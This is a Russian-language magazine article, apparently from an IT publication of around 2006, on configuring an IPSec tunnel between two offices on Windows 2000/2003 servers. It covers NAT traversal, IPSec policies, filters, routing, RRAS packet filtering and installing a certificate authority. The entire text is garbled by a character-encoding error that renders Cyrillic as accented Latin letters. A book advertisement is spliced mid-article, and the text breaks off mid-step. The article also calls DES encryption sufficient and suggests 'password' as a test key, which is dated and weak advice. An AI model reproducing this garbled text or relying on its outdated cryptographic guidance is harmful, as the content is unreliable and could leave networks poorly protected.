3 ÈÑÏÎËÜÇÓß ÐÀÇÄÅËßÅÌÛÉ ÊËÞ×
(SHARED SECRET). ÍÀÈÌÅÍÅÅ ÁÅÇÎÏÀÑ-
ÍÛÉ, ÍÎ ËÅÃÊÎ ÐÅÀËÈÇÓÅÌÛÉ ÑÏÎÑÎÁ,
ÊÎÃÄÀ ÊËÞ×ÎÌ ßÂËßÅÒÑß ÒÅÊÑÒÎÂÀß
ÑÒÐÎÊÀ, ÈÇÂÅÑÒÍÀß ÎÁÅÈÌ ÑÒÎÐÎÍÀÌ.

IPSec ðàáîòàåò íà òðàíñïîðòíîì óðîâíå ìîäåëè
OSI, ãäå áîëåå ïðèâû÷íî âèäåòü TCP-/UDP-ïðîòîêî-
ëû, èñïîëüçóþùèå äëÿ îïðåäåëåíèÿ ïðîöåññà ïîëó-
÷àòåëÿ ñîêåò (IP-àäðåñ + ïðîòîêîë + íîìåð ïîðòà).
IPSec íå èñïîëüçóåò ñîêåòû, òàê êàê ïðîöåññ, îáðà-
áàòûâàþùèé IPSec-ñîåäèíåíèå, â ñèñòåìå îäèí,
à óíèêàëüíîñòü ñîåäèíåíèÿ îïðåäåëÿåòñÿ ñ ïî-
ìîùüþ ïàðàìåòðà SPI (Security Parameter Index),
ññûëêà íà êîòîðûé ñîäåðæèòñÿ â êàæäîì ïàêåòå ïðè
èñïîëüçîâàíèè è AH-, è ESP-èíêàïñóëÿöèè. Åñëè
íóæíî íàñòðîèòü firewall äëÿ ïðîõîæäåíèÿ IPSec, èñ-
ïîëüçóþò íîìåðà ïðîòîêîëîâ. Ïðîòîêîë ¹ 50 — ýòî
IPSec c ESP-èíêàïñóëÿöèåé, ïðîòîêîë ¹ 51 —
IPSec ñ AH-èíêàïñóëÿöèåé. Åñëè èñïîëüçóåòñÿ IKE
äëÿ íà÷àëüíîé ãåíåðàöèè êëþ÷åé, íåîáõîäèìî ðàç-
ðåøèòü âõîäÿùèå ïàêåòû ñ UDP 500 è íà UDP 500.

Åñëè íà ïóòè âçàèìîäåéñòâóþùèõ ÷åðåç
IPSec óçëîâ èñïîëüçóåòñÿ òåõíîëîãèÿ NAT, âîçíè-
êàþò ïðîáëåìû, ñòåïåíü ñëîæíîñòè è ðàçðåøè-
ìîñòè êîòîðûõ çàâèñèò îò:

— ÈÑÏÎËÜÇÓÅÌÎÉ ÒÅÕÍÎËÎÃÈÈ NAT 
(ËÈÁÎ ÝÒÎ ÒÐÀÍÑËßÖÈß IP-ÀÄÐÅÑÎÂ
ÎÄÈÍ Â ÎÄÈÍ, ËÈÁÎ ÝÒÎ NAPT — ÒÐÀÍÑ-
ËßÖÈß È IP-ÀÄÐÅÑÎÂ, È ÏÎÐÒÎÂ).

— ÈÑÏÎËÜÇÓÅÌÎÃÎ ÌÅÒÎÄÀ ÈÍÊÀÏÑÓËß-
ÖÈÈ Â IPSEC (Ñ AH-ÈÍÊÀÏÑÓËßÖÈÅÉ ÍÈ
×ÅÐÅÇ ÊÀÊÎÉ NAT IPSEC-ÒÐÀÔÈÊ
ÍÅ ÏÐÎÉÄÅÒ, ÒÀÊ ÊÀÊ IP-ÀÄÐÅÑÀ Â ÏÀ-
ÊÅÒÀÕ ÍÅÈÇÁÅÆÍÎ ÁÓÄÓÒ ÈÇÌÅÍÅÍÛ
È ÎÒÁÐÎØÅÍÛ ÏÐÈÍÈÌÀÞÙÅÉ ÑÒÎÐÎ-
ÍÎÉ, ÊÀÊ ÍÅ ÏÐÎØÅÄØÈÅ ÏÐÎÂÅÐÊÓ
ÖÈÔÐÎÂÎÉ ÏÎÄÏÈÑÈ).

— ÊÎËÈ×ÅÑÒÂÀ NAT'ÎÂ ÌÅÆÄÓ ÂÇÀÈÌÎ-
ÄÅÉÑÒÂÓÞÙÈÌÈ ÑÒÎÐÎÍÀÌÈ.

— ÊÎËÈ×ÅÑÒÂÀ ÊËÈÅÍÒÎÂ, ÍÀÕÎÄßÙÈÕ-
Ñß ÇÀ NAT'ÎÌ, ÊÎÒÎÐÛÅ ÕÎÒßÒ ÓÑÒÀ-
ÍÎÂÈÒÜ IPSEC-ÑÎÅÄÈÍÅÍÈÅ.

— ÑÒÅÏÅÍÈ ÏÎÄÄÅÐÆÊÈ IPSEC, ÐÅÀËÈÇÎ-
ÂÀÍÍÎÃÎ Â ÄÀÍÍÎÉ ÐÅÀËÈÇÀÖÈÈ NAT'À.

Äëÿ ïîääåðæêè IPSec ÷åðåç NAT ÷àñòî èñïîëüçóåòñÿ
èíêàïñóëÿöèÿ IPSec â UDP (IPSec NAT-T, UDP/4500).
NAT-T ïîääåðæèâàåòñÿ â Windows 2003 è Windows
XP SP2, äëÿ Windows 2000/XP íåîáõîäèìî äîñòà-
âèòü îáíîâëåíèå (L2TP/IPSec NAT-T update).

IPSec â îïåðàöèîííûõ ñèñòåìàõ ëèíåéêè
Microsoft ðåàëèçóåòñÿ ñ ïîìîùüþ ïîëèòèêè. Ïîëè-
òèêà ñîñòîèò èç ïðàâèë. Â ñîñòàâ ïðàâèëà âõîäèò
ôèëüòð, êîòîðûé îïðåäåëÿåò, íà êàêîé òèï òðàôè-
êà ðàñïðîñòðàíÿåòñÿ äàííîå ïðàâèëî, è äåéñòâèå,
êîòîðîå ñèñòåìà âûïîëíÿåò íàä äàííûì òðàôè-
êîì. Äåéñòâèÿ ìîãóò áûòü ñëåäóþùèìè: çàáëîêè-
ðîâàòü òðàôèê, ðàçðåøèòü òðàôèê èëè óñòàíîâèòü
áåçîïàñíîå ñîåäèíåíèå.

ïðàêòè÷åñêèå ððåøåíèÿ. ññöåíàðèé 1. Ñîåäèíèì
äâà îôèñà, èñïîëüçóÿ IPSec â òóííåëüíîì ðåæèìå.

ïîøàãîâàÿ èèíñòðóêöèÿ. Ñîçäàåøü ïîëèòèêó
IPSec â Windows 2000 Server:
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S P E  I A L Î Á Ç Î Ð  

ÏÎËÈÒÈÊÈ
ÈÍÔÎÐÌÀÖÈÎÍÍÎÉ
ÁÅÇÎÏÀÑÍÎÑÒÈ

Ì.: Êîìïàíèÿ ÀéÒè, 2006
/ Ïåòðåíêî Ñ.À. /
400 ñòðàíèö
Ðàçóìíàÿ öåíà: 475 ð.

Ïðàêòè÷åñêîå ðóêîâî-
äñòâî ïî âîïðîñàì
ðàçðàáîòêè ïîëèòèê
èíôîðìàöèîííîé áå-
çîïàñíîñòè â êîìïà-
íèÿõ è îðãàíèçàöèÿõ.
Ïîñëåäîâàòåëüíî èç-

ëîæåíû îñíîâíûå
èäåè, ìåòîäû è ñïîñî-
áû ïðàêòè÷åñêîãî ðå-
øåíèÿ âîïðîñîâ ðàç-
ðàáîòêè, âíåäðåíèÿ 
è ïîääåðæêè ïîëèòèê
áåçîïàñíîñòè. Ïðè÷åì
óïîð ñäåëàí íà ðàç-
ëè÷íûå ðîññèéñêèå
ãîñóäàðñòâåííûå è
êîììåð÷åñêèå ñòðóê-
òóðû. Ðàçðàáîòêà
àäåêâàòíûõ è àêòóàëü-
íûõ ïîëèòèê èíôîð-
ìàöèîííîé áåçîïàñ-

íîñòè ïîâûñèò óðî-
âåíü äîâåðèÿ ê êîìïà-
íèè. Êíèãà àäðåñîâà-
íà CIO, CISO, CISA 
è äðóãèì òîïàì, êîòî-
ðûì ïðèõîäèòñÿ ðàç-
ðàáàòûâàòü è âíåä-
ðÿòü ïîëèòèêè áåçî-
ïàñíîñòè â êîìïàíèè,
àäìèíèñòðàòîðàì áå-
çîïàñíîñòè, ñèñòåì-
íûì è ñåòåâûì àäìè-
íèñòðàòîðàì. Äà ïðîñ-
òî òåì, êîìó ýòî èíòå-
ðåñíî.

MEDIUM

çëîóïîòðåáëåíèå
øèôðîâàíèåì
ÍÅ ÍÓÆÍÎ ÇËÎÓÏÎÒÐÅÁËßÒÜ 
ØÈÔÐÎÂÀÍÈÅÌ, ÒÀÊ ÊÀÊ ÎÍÎ 
ÓÌÅÍÜØÀÅÒ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ
ÑÈÑÒÅÌÛ. ÄËß ÒÐÀÔÈÊÀ, ÏÅÐÅÕÂÀÒ 
ÊÎÒÎÐÎÃÎ ÍÅ ßÂËßÅÒÑß ÊÐÈÒÈ×ÍÛÌ,
ÄÎÑÒÀÒÎ×ÍÎ ÈÑÏÎËÜÇÎÂÀÍÈÅ 
IPSEC AH. ÅÑËÈ ÏÅÐÅÄÀÂÀÅÌÛÅ 
ÄÀÍÍÛÅ ÁÛÑÒÐÎ ÓÑÒÀÐÅÂÀÞÒ È ÍÅ 
ÇÀÈÍÒÅÐÅÑÓÞÒ ÏÐÀÂÈÒÅËÜÑÒÂÅÍÍÛÅ
ÀÃÅÍÒÑÒÂÀ ÈËÈ Î×ÅÍÜ ÊÐÓÏÍÛÅ 
ÊÎÐÏÎÐÀÖÈÈ (ÍÀÏÐÈÌÅÐ ÂÀØÈ 
ÒÅÊÓÙÈÅ ÁÈÐÆÅÂÛÅ ÎÏÅÐÀÖÈÈ), 
ÄÎÑÒÀÒÎ×ÍÎ ØÈÔÐÎÂÀÍÈß DES. 

ÅÑËÈ ÒÐÅÁÓÅÒÑß ÏÎÄÏÈÑÛÂÀÒÜ
ÈËÈ ØÈÔÐÎÂÀÒÜ ÇÍÀ×ÈÒÅËÜÍÛÅ 
ÎÁÚÅÌÛ ÄÀÍÍÛÕ, ÐÀÑÑÌÎÒÐÈ 
ÂÎÇÌÎÆÍÎÑÒÜ ÏÐÈÎÁÐÅÒÅÍÈß 
ÑÏÅÖÈÀËÜÍÎÃÎ ÑÅÒÅÂÎÃÎ ÀÄÀÏÒÅÐÀ
Ñ ÎÏÒÈÌÈÇÀÖÈÅÉ IPSEC 
(IPSEC OFFLOAD), ×ÒÎ ÏÎÇÂÎËÈÒ 
ÍÅ ÇÀÃÐÓÆÀÒÜ ÏÐÎÖÅÑÑÎÐ. 
ÏÐÈ ÝÒÎÌ ÓÁÅÄÈÑÜ, ×ÒÎ ÎÍ
ÏÎÄÄÅÐÆÈÂÀÅÒ ÍÅÎÁÕÎÄÈÌÛÅ 
ÏÐÎÒÎÊÎËÛ.

ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ IPSEC 
ÍÀ ÌÀÐØÐÓÒÈÇÀÒÎÐÀÕ ÑËÅÄÓÅÒ 
ÏÎÌÍÈÒÜ, ×ÒÎ ÓÑÒÐÎÉÑÒÂÎ, 
ÏÎÄÄÅÐÆÈÂÀÞÙÅÅ ÂÛÑÎÊÈÅ 
ÑÊÎÐÎÑÒÈ ØÈÔÐÎÂÀÍÈß 
(10 MB/S È ÂÛØÅ), ÍÀ ÑÒÎÉÊÈÕ 
ÀËÃÎÐÈÒÌÀÕ (3DES, AES) ÑÒÎÈÒ 
ÇÍÀ×ÈÒÅËÜÍÛÕ ÄÅÍÅÃ. ÏÎÝÒÎÌÓ 
ØÈÔÐÎÂÀÒÜ ÍÓÆÍÎ ÒÎËÜÊÎ ÑÀÌÛÉ
ÊÐÈÒÈ×ÍÛÉ ÒÐÀÔÈÊ.



1 ÌÅÍÞ START RUN, ÍÀÁÈÐÀÅØÜ
SECPOL.MSC È ÍÀÆÈÌÀÅØÜ ENTER.

2 ÏÐÀÂÛÉ ÊËÈÊ ÍÀ IP SECURITY POLI-
CIES ON LOCAL MACHINE, ÄÀËÅÅ ÊËÈÊ
CREATE IP SECURITY POLICY.

3 ÊËÈÊÀÅØÜ NEXT.

4 ÇÀÄÀÅØÜ ÈÌß ÍÎÂÎÉ ÏÎËÈÒÈÊÈ,
ÍÀÏÐÈÌÅÐ «IPSEC BETWEEN NETA AND
NETB», ÊËÈÊÀÅØÜ NEXT.

5 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ ACTIVATE THE DE-
FAULT RESPONSE RULE, ÊËÈÊÀÅØÜ NEXT.

6 ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ EDIT PROPER-
TIES, ÊËÈÊÀÅØÜ FINISH.

Ñîçäàåòñÿ ïîëèòèêà IPSec ñ íàñòðîéêàìè ïî óìîë-
÷àíèþ äëÿ IKE. Ïîñìîòðåòü è èçìåíèòü ïàðàìåòðû
IKE ìîæíî â çàêëàäêå General. Äëÿ òóííåëÿ íóæíî
ñîçäàòü äâà ïðàâèëà IPSec, òàê êàê êàæäîå ïðàâè-
ëî îïðåäåëÿåò ñâîé óäàëåííûé êîíåö òóííåëÿ.
Äëÿ ýòîãî ñîçäàâàé äâà ôèëüòðà, îäèí äëÿ òðàôè-
êà èç ñåòè «À» â ñåòü «Á», äðóãîé — äëÿ òðàôèêà
â îáðàòíîì íàïðàâëåíèè. Òåïåðü ñîçäàâàé ôèëüòð
äëÿ òðàôèêà èç ñåòè «À» â ñåòü «Á»:

1 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ USE ADD WIZARD,
ÒÀÊ ÊÀÊ ÑÈËÜÍÎ ÍÀÏÐßÃÀÅÒ.

2 ÍÀÆÈÌÀÅØÜ ADDÅ.

3 ÄÀÅØÜ ÍÀÇÂÀÍÈÅ ÔÈËÜÒÐÓ, 
ÍÀÏÐÈÌÅÐ NETA NETB.

4 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ USE ADD WIZARD.

5 ÍÀÆÈÌÀÅØÜ ADD...

6 Â SOURCE ADDRESS ÂÛÁÈÐÀÅØÜ
A SPECIFIC IP SUBNET È ÓÊÀÇÛÂÀÅØÜ
ÑÅÒÜ È ÌÀÑÊÓ ÄËß ÑÅÒÈ «À».

7 Â DESTINATION ADDRESS ÂÛÁÈÐÀÅØÜ
A SPECIFIC IP SUBNET È ÓÊÀÇÛÂÀÅØÜ
ÑÅÒÜ È ÌÀÑÊÓ ÄËß ÑÅÒÈ «Á».

8 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ MIRRORED. 
ALSO MATCH PACKETS WITH THE EXACT 
OPPOSITE SOURCE AND DESTINATION
ADDRESSES È ÍÀÆÈÌÀÅØÜ OK.

9 ÇÀÊÐÛÂÀÅØÜ ÎÊÎØÊÎ IP FILTER LIST,
ÍÀÆÈÌÀß CLOSE.

Äëÿ ôèëüòðà òðàôèêà èç ñåòè «Á» â ñåòü «À» âñå
äåëàåòñÿ ïî àíàëîãèè. Òåïåðü ñîçäàâàé ïðàâèëà
íà îñíîâå ñîçäàííûõ ôèëüòðîâ:

1 Â IP FILTER LIST ÂÛÁÈÐÀÅØÜ ÔÈËÜÒÐ

NETA NETB.

2 ÍÀ ÇÀÊËÀÄÊÅ AUTHENTICATION

METHOD ÍÀÆÈÌÀÅØÜ ADDÅ, ÂÛÁÈÐÀ-

ÅØÜ ÎÏÖÈÞ USE THIS STRING TO PRO-

TECT THE KEY EXCHANGE (PRESHARED

KEY) È ÏÈØÅØÜ ÊËÞ×ÅÂÓÞ ÔÐÀ-
ÇÓ (ÄËß ÒÅÑÒÎÂÛÕ ÖÅËÅÉ ÏÎÄÎÉÄÅÒ
È ÑËÎÂÎ «PASSWORD», ÍÎ ÏÎÑËÅ ÒÎÃÎ,
ÊÀÊ ÒÓÍÍÅËÜ ÇÀÐÀÁÎÒÀÅÒ, ËÓ×ØÅ ÑÎÇ-
ÄÀÒÜ ÑËÎÆÍÛÉ È ÄËÈÍÍÛÉ ÏÐÅÄÎÏÐÅ-
ÄÅËÅÍÍÛÉ ÊËÞ×).

3 ÍÀÆÈÌÀÅØÜ OK.

4 Â ÎÊÎØÊÅ AUTHENTICATION METHODS
ÏÎÌÅ×ÀÅØÜ PRESHARED KEY È ÍÀÆÈ-
ÌÀÅØÜ MOVE UP, ×ÒÎÁÛ ÂÍÎÂÜ ÑÎÇ-
ÄÀÍÍÛÉ ÌÅÒÎÄ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ ÏÐÈ-
ÌÅÍßËÑß ÏÅÐÂÛÌ.

5 ÂÛÁÈÐÀÅØÜ ÇÀÊËÀÄÊÓ TUNNEL SET-
TING, ÂÛÁÈÐÀÅØÜ THE TUNNEL ENDPOINT
IS SPECIFIED BY THIS IP ADDRESS È ÏÈ-
ØÅØÜ ÒÓÄÀ IP_W2K3_ÂÍÅØ (ÂÍÅØÍÈÉ
IP-ÀÄÐÅÑ ÄÀËÜÍÅÃÎ ÊÎÍÖÀ ÒÓÍÍÅËß).

6 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÂÛÁÈÐÀ-
ÅØÜ REQUIRE SECURITY, ÄÀËÅÅ EDITÅ.

7 ÑÍÈÌÀÅØÜ ÃÀËÎ×ÊÓ ÍÀÏÐÎÒÈÂ
ACCEPT UNSECURED COMMUNICATION,
BUT ALWAYS RESPOND USING IPSEC
È ÍÀÆÈÌÀÅØÜ OK.

8 ÇÀÊÐÛÂÀÅØÜ ÎÊÎØÊÎ EDIT RULE
PROPERTIES, ÍÀÆÈÌÀß ÍÀ OK.

Ïðè ñîçäàíèè ïðàâèëà äëÿ òðàôèêà èç ñåòè «À»
â ñåòü «Á» âñå äåëàåòñÿ àíàëîãè÷íî (âìåñòî
IP_w2k3_âíåø áóäåò IP_w2ks_âíåø).

Ñîçäàííóþ ïîëèòèêó íóæíî ïðèìåíèòü. Äëÿ
ýòîãî íà èìåíè ïîëèòèêè IPSec between NetA and
NetB äåëàåøü ïðàâûé êëèê è â êîíòåêñòíîì ìåíþ
âûáèðàåøü Assign.

×òîáû èçìåíåíèÿ ñðàçó âñòóïèëè â ñèëó, íå-
îáõîäèìî ïåðåçàïóñòèòü ñëóæáó IPSec ëèáî èç îñ-
íàñòêè Computer Management, ëèáî äàâ êîìàíäû:

net stop policyagent

net start policyagent

Òåïåðü íóæíî íàïðàâèòü ïàêåòû, ñëåäóþùèå èç ñå-
òè «À» â ñåòü «Á», íà âíåøíèé èíòåðôåéñ øëþçîâî-
ãî êîìïüþòåðà ñåòè «Á» (â íàøåì ñëó÷àå Windows
2003 Server). Äëÿ ýòîãî íà êàæäîì êîìïüþòåðå â ëî-
êàëüíîé ñåòè íóæíî ïðîïèñàòü â êà÷åñòâå øëþçà äëÿ

ñåòè «Á» àäðåñ IP_w2ks_âíóòð, à íà ñåðâåðå â êà÷å-
ñòâå øëþçà äëÿ ñåòè «Á» âíåøíèé àäðåñ øëþçîâîãî
êîìïüþòåðà ñåòè «Á», òî åñòü IP_w2k3_âíåø.

Øëþçîâîé êîìïüþòåð â ðåæèìå IPSec-òóííå-
ëÿ äîëæåí ôóíêöèîíèðîâàòü êàê ðîóòåð, òî åñòü
ïåðåñûëàòü ïàêåòû ñ îäíîãî ñåòåâîãî èíòåðôåéñà
íà äðóãîé (îòñþäà âûòåêàåò, ÷òî íå ñåðâåðíûå
ïëàòôîðìû Windows íå ìîãóò áûòü IPSec-øëþçîì
äëÿ ëîêàëüíîé ñåòè, òàê êàê íå ïîääåðæèâàþò ðîó-
òèíã). Ðàññìîòðèì äâà ñïîñîáà ðåàëèçàöèè.

ïåðâûé ññïîñîá
1 ÍÀ ÑÅÐÂÅÐÅ ÄÎÁÀÂËßÅØÜ ÏÎÑÒÎßÍ-

ÍÛÉ ÑÒÀÒÈ×ÅÑÊÈÉ ÌÀÐØÐÓÒ Ê ÑÅÒÈ

«Á», ÂÛÏÎËÍÈÂ Â ÊÎÌÀÍÄÍÎÉ ÑÒÐÎÊÅ:

ROUTE ADD –P ÀÄÐÅÑ_ÑÅÒÈ_Á MASK

ÌÀÑÊÀ_ÑÅÒÈ_Á IP_W2K3_ÂÍÅØ.

2 ÂÊËÞ×ÀÅØÜ ÂÎÇÌÎÆÍÎÑÒÜ ÐÎÓÒÈÍ-

ÃÀ, ÏÐÀÂß Â ÐÅÅÑÒÐÅ. ÄËß ÝÒÎÃÎ ÎÒÊ-

ÐÛÂÀÅØÜ ÂÅÒÊÓ ÐÅÅÑÒÐÀ

HKEY_LOCAL_MACHINE\SYSTEM\CUR-

RENTCONTROLSET\SERVICES\TCPIP\PAR

AMETERS È ÈÇÌÅÍßÅØÜ ÇÍÀ×ÅÍÈÅ ÏÀ-

ÐÀÌÅÒÐÀ IPENABLEROUTER ÍÀ «1»

(ÏÎ ÓÌÎË×ÀÍÈÞ «0»). ÄËß ÂÑÒÓÏËÅ-

ÍÈß ÈÇÌÅÍÅÍÈÉ Â ÑÈËÓ ÒÐÅÁÓÅÒÑß ÏÅ-

ÐÅÇÀÃÐÓÇÊÀ ÑÈÑÒÅÌÛ.

âòîðîé ññïîñîá. RRouting aand RRemote AAccess:
1 ÌÅÍÞ START PROGRAMS ADMINIS-
TRATIVE TOOLS ROUTING AND REMOTE
ACCESS.

2 ÍÀ ÍÀÇÂÀÍÈÈ ÊÎÌÏÜÞÒÅÐÀ ÏÐÀÂÛÉ
ÊËÈÊ, CONFIGURE AND ENABLE 
ROUTING AND REMOTE ACCESS.

3 Â ÑËÅÄÓÞÙÅÌ ÎÊÎØÊÅ 
ÍÀÆÈÌÀÅØÜ NEXT.

4 ÄÀËÅÅ ÂÛÁÈÐÀÅØÜ MANUALLY 
CONFIGURED SERVER, ÊËÈÊÀÅØÜ NEXT.

5 ÊËÈÊÀÅØÜ FINISH.

6 ÊËÈÊÀÅØÜ YES.

7 ÎÒÊÐÛÂÀÅØÜ ÄÅÐÅÂÎ ÍÀ ËÅÂÎÉ 
ÏÀÍÅËÈ, ÍÀÆÈÌÀß ÏËÞÑÈÊ ÍÀÏÐÎÒÈÂ
ÍÀÇÂÀÍÈß ÑÅÐÂÅÐÀ.
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8 ÎÒÊÐÛÂÀÅØÜ IP ROUTING.

9 ÏÐÀÂÛÉ ÊËÈÊ ÍÀ STATIC ROUTES, 

ÄÀËÅÅ NEW STATIC ROUTE.

1 0 Â ÏÎËÅ INTERFACE ÂÛÁÈÐÀÅØÜ

IP_W2KS_ÂÍÅØ.

1 1 Â ÏÎËÅ DESTINATION IP ÂÂÎÄÈØÜ 

ÀÄÐÅÑ ÑÅÒÈ «Á».

1 2 Â ÏÎËÅ NETWORK MASK ÂÂÎÄÈØÜ
ÌÀÑÊÓ ÑÅÒÈ «Á».

1 3 Â ÏÎËÅ GATEWAY ÂÂÎÄÈØÜ
IP_W2K3_ÂÍÅØ È ÆÌÅØÜ OK.

Åñëè óæ çàäåéñòâîâàë ñëóæáó RRAS, ìîæíî âîñ-
ïîëüçîâàòüñÿ åå âîçìîæíîñòüþ ôèëüòðàöèè òðà-
ôèêà, ÷òîáû ñåðâåð ïðîïóñêàë òîëüêî IPSec-òðà-
ôèê. Äëÿ ýòîãî:

1 Â ÊÎÍÑÎËÈ ROUTING AND REMOTE
ACCESS ÎÒÊÐÛÂÀÅØÜ ÄÅÐÅÂÎ ÍÀ ËÅ-
ÂÎÉ ÏÀÍÅËÈ, ÍÀÆÈÌÀß ÏËÞÑÈÊ ÍÀÏ-
ÐÎÒÈÂ ÍÀÇÂÀÍÈß ÑÅÐÂÅÐÀ.

2 ÊËÈÊÀÅØÜ GENERAL Â ÏÎÄÄÅÐÅÂÅ
IP ROUTING.

3 Â ÏÐÀÂÎÉ ÏÀÍÅËÈ ÏÐÀÂÛÉ ÊËÈÊ
ÍÀ ÂÍÅØÍÅÌ ÑÅÒÅÂÎÌ ÈÍÒÅÐÔÅÉ-
ÑÅ (ÍÀ ÊÎÒÎÐÎÌ ÍÀÑÒÐÎÅÍ ÀÄÐÅÑ
IP_W2KS_ÂÍÅØ), Â ÊÎÍÒÅÊÑÒÍÎÌ ÌÅÍÞ
ÂÛÁÈÐÀÅØÜ PROPERTIES.

4 ÂÛÁÈÐÀÅØÜ INPUT FILTERSÅ È ADD...

5 ÏÎÌÅ×ÀÅØÜ SOURCE NETWORK, 
ÏÈØÅØÜ IP_W2K3_ÂÍÅØ È ÌÀÑÊÓ
255.255.255.255.

6 ÏÎÌÅ×ÀÅØÜ DESTINATION NETWORK,
ÏÈØÅØÜ IP_W2K_ÂÍÅØ È ÌÀÑÊÓ
255.255.255.255.

7 ÂÛÁÐÀÅØÜ PROTOCOL: OTHER, 
Â ÍÎÌÅÐÅ ÏÐÎÒÎÊÎËÀ ÏÈØÅØÜ 50 
ÄËß ESP È 51 ÄËß AH (Â ÒÂÎÅÌ 
ÑËÓ×ÀÅ ÈÑÏÎËÜÇÓÅÒÑß ESP, 
ÒÀÊ ÊÀÊ ÏÀÐÀÌÅÒÐÛ IPSEC 
ÏÎ ÓÌÎË×ÀÍÈÞ ÍÅ ÌÅÍßË).

8 ÄÎÁÀÂËßÅØÜ ÅÙÅ ÎÄÈÍ ÔÈËÜÒÐ ÄËß
ÂÕÎÄßÙÈÕ ÏÀÊÅÒÎÂ. ÍÀÆÈÌÀÅØÜ ADD...

9 ÏÎÌÅ×ÀÅØÜ SOURCE NETWORK, ÏÈ-
ØÅØÜ IP_W2K3_ÂÍÅØ È ÌÀÑÊÓ
255.255.255.255.

1 0 ÏÎÌÅ×ÀÅØÜ DESTINATION NETWORK,
ÏÈØÅØÜ IP_W2K_ÂÍÅØ È ÌÀÑÊÓ
255.255.255.255.

1 1 ÂÛÁÈÐÀÅØÜ ÏÐÎÒÎÊÎË UDP 
È ÍÎÌÅÐÀ SOURCE PORT È DESTINATION
PORT — 500 (ÏÎÐÒÛ ÈÑÏÎËÜÇÓÞÒÑß
ÏÐÎÒÎÊÎËÎÌ IKE).

1 2 ÂÛÁÈÐÀÅØÜ ÎÏÖÈÞ DROP ALL PACK-
ETS EXCEPT THOSE THAT MEET THE CRI-
TERIA BELOW.

1 3 ÇÀÊÐÛÂÀÅØÜ ÎÊÍÀ ÊÍÎÏÊÎÉ OK.

Òåïåðü íèêàêîé âõîäÿùèé òðàôèê, êðîìå òðåáóå-
ìîãî äëÿ óñòàíîâêè è ïðîõîæäåíèÿ IPSec-ñîåäèíå-
íèÿ ñ àäðåñîì IP_w2k3_âíåø, ïðîïóñêàòüñÿ íå áó-
äåò (áîëåå ïðàâèëüíûé ñïîñîá — èñïîëüçîâàòü
â êà÷åñòâå firewall’à ISA-ñåðâåð).

Îñòàëîñü ñèììåòðè÷íûì îáðàçîì (òî åñòü
ïîìåíÿâ «À» è «Á») ïîâòîðèòü âñå íàñòðîéêè ñî
ñòîðîíû ñåòè «Á» è ïðîâåðèòü ðàáîòó IPSec-òóííå-
ëÿ. Äëÿ ýòîãî ìîæíî âûïîëíèòü êîìàíäó ping
ñ êîìïüþòåðà èç ñåòè «À» äî êîìïüþòåðà èç ñåòè
«Á». Ïèíãîâàòüñÿ óäàëåííûé óçåë áóäåò íå ñðàçó,
òàê êàê íóæíî âðåìÿ íà ñîãëàñîâàíèå ïàðàìåòðîâ
IPSec-ñîåäèíåíèÿ, ïîýòîìó ïîòåðÿ ïåðâîãî ïàêåòà
ÿâëÿåòñÿ íîðìàëüíîé. Ïîñëå óäà÷íîãî ïðîõîæäå-
íèÿ ïèíãà ìîæíî âîñïîëüçîâàòüñÿ óòèëèòîé ipsec-
mon.exe, âõîäÿùåé â ñîñòàâ Windows 2000 server,
èëè àíàëèçàòîðîì òðàôèêà (ðîäíûì — îò Microsoft
Network Monitor Tools èëè ñòîðîííèì Wireshark) äëÿ
êîíòðîëÿ òîãî, ÷òî òðàôèê øèôðóåòñÿ.

IPSec èè ññåðòèôèêàòû. Òåïåðü âíåäðèì àóòåí-
òèôèêàöèþ ñ èñïîëüçîâàíèåì ñåðòèôèêàòîâ. Äëÿ
ýòîãî, âî-ïåðâûõ, íóæíî ïîäíÿòü ñâîé óäîñòîâåðÿþ-
ùèé öåíòð, à âî-âòîðûõ, çàïðîñèòü è óñòàíîâèòü
ñåðòèôèêàòû íà îáå âçàèìîäåéñòâóþùèå ñòîðîíû.
Ñåðòèôèêàò äîëæåí áûòü óñòàíîâëåí â õðàíèëèùå
ñåðòèôèêàòîâ êîìïüþòåðà, òàê êàê IPSec ïîääåð-
æèâàåò àóòåíòèôèêàöèþ óçëîâ, à íå ïîëüçîâàòå-
ëåé. Óñòàíàâëèâàåì óäîñòîâåðÿþùèé öåíòð:

1 ÂÛÁÈÐÀÅØÜ START SETTINGS

CONTROL PANEL ADD/REMOVE PRO-

GRAMS ADD/REMOVE WINDOWS COM-

PONENTS.

2 ÂÛÁÈÐÀÅØÜ ÊÎÌÏÎÍÅÍÒ CERTIFICATE

SERVICES, ÄÀËÅÅ YES.

3 ÂÛÁÈÐÀÅØÜ STAND-ALONE ROOT CA,
ÊËÈÊÀÅØÜ NEXT.

4 ÇÀÏÎËÍßÅØÜ ÏÎËÅ CA NAME 
(ÍÀÏÐÈÌÅÐ, TRUSTED ZONE), 
ÄÐÓÃÈÅ ÏÎËß — ÏÎ ÆÅËÀÍÈÞ, 
È ÍÀÆÈÌÀÅØÜ NEXT.

5 ÎÑÒÀÂËßÅØÜ ÂÑÅ ÏÓÒÈ ÏÎ ÓÌÎË×À-
ÍÈÞ, ÍÀÆÈÌÀÅØÜ NEXT È OK.

6 ÏÎÑËÅ ÓÑÒÀÍÎÂÊÈ ÍÀÆÈÌÀÅØÜ FINISH.

Óñòàíàâëèâàåòñÿ óäîñòîâåðÿþùèé öåíòð, êîíñîëü
óïðàâëåíèÿ èì, è íàñòðàèâàåòñÿ ñàéò, ÷åðåç êîòî-
ðûé êëèåíòû ìîãóò çàïðàøèâàòü è ïîëó÷àòü ñåðòè-
ôèêàòû. Òåïåðü ñ ìàøèíû, íà êîòîðîé óñòàíîâëåí
CA, äîëæåí îòêðûâàòüñÿ ñàéò http://127.0.0.1/certsrv/,
à â Administrative Tools äîëæíà äîáàâèòüñÿ îñíàñò-
êà Certification Authority.

Èòàê, äîïóñòèì, åñòü óñòàíîâëåííûé öåíòð
ñ IP-àäðåñîì ip-öåíòð_ñåðò, òîãäà:

1 Ñ ÊÎÌÏÜÞÒÅÐÀ, ÍÀ ÊÎÒÎÐÎÌ ÒÐÅÁÓ-
